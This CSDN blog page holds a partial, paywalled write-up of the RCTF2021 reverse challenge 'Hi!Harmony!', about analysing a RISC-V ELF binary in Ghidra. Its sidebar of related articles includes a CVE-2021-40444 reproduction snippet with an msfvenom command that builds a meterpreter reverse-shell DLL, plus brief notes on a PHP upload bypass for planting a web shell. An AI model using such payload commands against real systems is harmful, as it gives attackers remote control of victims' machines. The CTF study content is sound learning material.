RCTF2021-reverse-Hi!Harmony!复现

最新推荐文章于 2024-07-10 15:44:42 发布
最新推荐文章于 2024-07-10 15:44:42 发布
阅读量629 收藏
点赞数 1
分类专栏： # CTF比赛实战 文章标签： RCTF reverse 逆向 RISV-V
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ookami6497/article/details/120381352
版权
本文详细记录了作者在复现RCTF2021逆向分析题目的过程，涉及到鸿蒙系统、RISC-V架构的ELF文件分析。在IDA中遇到无法加载的问题，通过下载RISC-V插件并解决兼容性问题，最终使用Ghidra找到关键代码，揭示了解题线索：RCTF{KDUPRQBGUHDPLWSRVVLEOH}
摘要由CSDN通过智能技术生成

      先看题目描述

   谷歌翻译结果：你好，黑客！ 你听说过中国神话中创造世界的盘古吗？  

   搜了下Harmony，得知是鸿蒙的意思

            文件分析一下，100%的ELF文件

 

   IDA打开也报错

 

 放进kali中运行试试，无法运行

官方wp中说是使用GDB调试，或者IDA挂载RISC-V插件

之前打比赛的时候都没注意到这个（可恶，我怎么这么菜。。。）

file命令查看一下属性

 

IDA打开的时候也检测出了RISC-V，但是无法正常加载，我的IDA版本是7.6

 

最低0.47元/天 解锁文章
ofo300
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CVE-2021-40444 复现
问题很多的小明
09-20 1567
利用过程：在Office文档中添加恶意ActiveX控件，以此来诱导目标用户打开恶意文档 复现环境：Ubuntu + WIN10 利用工具：Github:https://github.com/lockedbyte/CVE-2021-40444 0x01 生成恶意dll : msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll > shell.dll 需要提前下载lcab库 .
RCTF2021-Re-WriteUp
m0_46498968的博客
09-13 501
太菜了 只会做两个简单题 不过还是从这个比赛学习到挺多东西 Ghidra使用啊 位运算啊 angr IR啊什么的 感谢出题人! Hi!Harmony! IDA7.6反编译失败 尝试使用Ghidra成功反编译 查找字符串交叉引用找到关键的加密函数 EXP: #include <stdio.h> const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int main() { char str[] = { 0x48 ,0x41 ,0x52
RCTF2021 ezshell
feng的博客
11-05 564
前言 RCTF当时没打，感觉还是错过了学习的机会。今天下午看firebasky师傅的github的时候偶然看到了RCTF的题目，所以打算找个时间把这个比赛的Web复现一下。就没有把所有的web题目都放一篇文章上，因为最近各种事情还有复习，复现题目也是断断续续了，可能接下来会过个好几天才继续看下一题，时间间隔拉的太久，而且每道题学到的东西也比较多，写的相对来说也比较详细，就单独拉出来成一篇文章了。 Writeup Misc里面的一道Web，get访问/shell之后可以得到源码反编译之后审计一下： // //
ida risc-V 增加几条指令
最新发布
dp__mcu的专栏
07-10 742
import sys=0x00:else:#06d05f7b#104 B6 3C#E0 8962else:else:
2021RCTF-逆向Reverse-全
m0_51713041的博客
12-06 437
notion页面地址：https://agate-colony-3f5.notion.site/2021-RCTF-3a9a5dd4d04a41feba91dfb0d9106736
RCTF-2021-Valgrind赛题WP
kelxLZ的博客
09-13 865
出题人：ZERO-A-ONE Date：2021-07-27 0x1 出题意图 ​ 本赛题主要是向选手介绍一种不同于常用的LLVM IR的中间语言。VEX-IR是一套中间语言。使用它的是 Valgrind 插桩框架工具，它的设计思想类似LLVM与QEMU，为了模拟执行已经编译好的某种架构的程序，把目标代码转化为IR中间语言，再把 IR 翻译为本机架构可执行的机器语言，实现跨架构模拟执行，多用于没有源码的二进制程序分析。分析二进制程序，例如做类似插桩的工作时，失去了高级语言的抽象表达，不得不与更底层的部分.
RCTF-2021-HarmonyOS赛题WP
kelxLZ的博客
09-13 659
Author：ZERO-A-ONE Date：2021-08-08 0x1 出题意图 本体定位为基础的逆向题目，主要是为了熟悉Open HarmonyOS操作系统环境，熟悉基于OpenHarmony Hi3861V100开发板的RISC-V环境，熟悉IoT环境下常用的Musl-Libc环境 0x2 出题过程 2.1 编译系统固件 riscv32_virt/ 子目录包含部分Qemu RISC-V虚拟化平台验证的OpenHarmony kernel_liteos_m的代码，目录名为riscv32_virt。.
bilibili2021CTF-安全挑战赛-reverse-复现
ookami6497的博客
10-27 1222
哔哩哔哩安全挑战赛逆向复现第一题第二题 第一题 第一题逆向很简单，用JEB打开，点开com包，找到主函数按tab查看伪代码，加密代码很简单，一个简单的异或就行。 将v2和v1 转成字符得到两串base64加密后的密文 v2 = NjI1OzA3YGAuNjNmNzc7YmU= v1 = YWBlOmZnNjAuOmJmNzAxO2Y= base64解码后得到 v2 = 625;07``.63f77;be v1 = a`e:fg60.:bf701;f 然后搞个脚本就行，脚本如下：
微软通杀漏洞-CVE-2021-1675复现
Ms08067安全实验室
08-19 2457
文章来源｜MS08067安全实验室本文作者：龙诺（Web知识星球追洞小组）一 准备环境实验环境：windows2019 （192.168.189.145） kali linux （192...
CVE-2021-1675 Windows Print Spooler权限提升漏洞复现
m0_56642842的博客
07-26 3298
0x00 简介 微软6月发布的安全更新补丁中包括了一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码，从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护，做好资产自查以及预防工作，以免遭受黑客攻击。 0x01 漏洞概述 Print Spooler是Windows系统中管理打印相关事务的服务，用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启
riscv-ida-master_idaplugin_TheMaster_
10-03
Awesome ida plugin that handles the RICV processor
菜鸟做题记--------welpwn（RCTF2015）
Return的博客
02-12 601
1.看下保护发现只打开了NX。 [*] 'home/ctf/welpwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 2.拖入IDA看下结果 int __cdecl main(int argc, const char **argv, const char **e
RCTF2021 EasyPHP
feng的博客
11-08 1620
EasyPHP 先分析一下nginx.conf，也是一个一个查的来好好的学一波。 listen：监听设置。 server_name：设置虚拟主机的名称，域名，可以通配符、正则。 如果当一个名称匹配多个 server 的是时候，匹配优先级如下： 确切的名称 以 * 开头的最长的通配符名称 以 * 结尾的最长通配符名称 第一个匹配的正则表达式 location：根据 URI 进行配置设置。 location [ = | ~ | ~* | ^~ ] uri { ... } none，如果没有修饰符，则将该
welpwn RCTF-2015 攻防世界
qq_41071646的博客
06-03 1661
参考链接 http://www.purpleroc.com/md/2015-11-17@RCTF-Writeup.html 这个题只是没有想到 找到这个点 然后 攻防世界 给的 so库也有问题 感觉 攻防世界的so环境都是 2.23的鸭 然后我就没有用DynELF 其实 可以在服务器看一下 地址 然后根据 后三位来判断是那个 只不过没有 DynELF 方便 思路就是 构造一个 ...
ctf-攻防世界-web：upload1
一只菜鸟的博客
11-01 513
一个很简单绕过的文件上传 打开靶场，发现一个很简单的上传点。在靶场地址后面加index.php，正常访问无跳转，加index.asp，报错且显示apache容器，看来绝对是php的网站了 burp开启代理，尝试上传php一句话，发现burp没发送请求包就提示文件类型不对，看来是前端验证文件类型。 右键查看源代码，果然是前端验证，只能上传jpg和png。 把写好的一句话后缀改为jpg或png，开启burp，在上传时抓包，将文件后缀改为php，成功绕过上传，并显示...
神器出现！！！IDA8.3！！！
qq_47493625的博客
12-09 4969
链接：https://pan.baidu.com/s/1C21nvwEyooPgjB65AucKuw?pwd=qln2提取码：qln2。
ida 手动补充不识别的指令
dp__mcu的专栏
07-09 705
(NN_quou,= 13:pass。
终于有人把RISC-V讲明白了
huangbinvip的专栏
05-27 6932
0 RISC-V和其他开放架构有何不同 如果仅从“免费”或“开放”这两点来评判，RISC-V架构并不是第一个做到免费或开放的处理器架构。 在开始之前，我们先通过论述几个具有代表性的开放架构，来分析RISC-V架构的不同之处以及为什么其他开放架构没能取得足够的成功。 0.1 平民英雄——OpenRISC OpenRISC是OpenCores组织提供的基于GPL协议的开放源代码RISC处理器。 OpenRISC具有以下特点： 采用免费开放的32/64位 RISC架构。 用Verilog HDL（硬件描述
flex-row-reverse
01-05
flex-row-reverse是CSS中的一个属性，用于指定flex容器中子元素的排列方向为从右到左。具体示例如下： ```html <style> .flex-container { display: flex; flex-direction: row-reverse; } .flex-item { width: 100px; height: 100px; background-color: red; margin: 10px; } </style> <div class="flex-container"> <div class="flex-item"></div> <div class="flex-item"></div> <div class="flex-item"></div> </div> ``` 上述代码中，我们创建了一个flex容器，并将其flex-direction属性设置为row-reverse，这样子元素会从右到左排列。每个子元素都具有相同的宽度和高度，并且它们之间有一定的间距。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ofo300

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值